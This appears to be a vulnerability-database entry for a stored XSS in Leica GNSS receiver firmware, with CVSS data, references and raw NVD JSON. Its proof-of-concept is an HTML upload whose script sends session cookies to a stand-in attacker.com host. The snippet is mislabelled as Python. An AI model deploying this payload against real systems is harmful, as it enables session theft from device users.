CVE-2018-25131

Description

Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 contains a stored cross-site scripting vulnerability in the configuration file upload functionality. Attackers can upload a malicious HTML file to that executes arbitrary JavaScript in a user's browser session when viewed.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Leica Geosystems GR10 固件 4.30.063

Leica Geosystems GR25 固件 4.30.063

Leica Geosystems GR30 固件 4.30.063

Leica Geosystems GR50 固件 4.30.063

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2018-25131 Stored XSS -->
<!-- Upload this HTML file via Leica GNSS configuration upload function -->
<!DOCTYPE html>
<html>
<head>
    <title>Configuration File</title>
</head>
<body>
    <script>
        // Steal session cookies
        var cookies = document.cookie;
        var xhr = new XMLHttpRequest();
        xhr.open('POST', 'https://attacker.com/collect', true);
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        xhr.send('cookies=' + encodeURIComponent(cookies));
        
        // Display alert for demonstration
        alert('XSS Vulnerability - CVE-2018-25131');
        console.log('Stolen cookies:', cookies);
    </script>
    <h1>Configuration File Uploaded</h1>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25131
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25131
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25131/
[4] VulDB https://vuldb.com/cve/CVE-2018-25131
[5] https://www.exploit-db.com/exploits/46091
[6] https://www.leica-geosystems.com
[7] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5503.php
[8] https://www.exploit-db.com/exploits/46091
[9] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5503.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2018-25131", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:46.890", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 contains a stored cross-site scripting vulnerability in the configuration file upload functionality. Attackers can upload a malicious HTML file to that executes arbitrary JavaScript in a user's browser session when viewed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/46091", "source": "[email protected]"}, {"url": "https://www.leica-geosystems.com", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5503.php", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46091", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5503.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}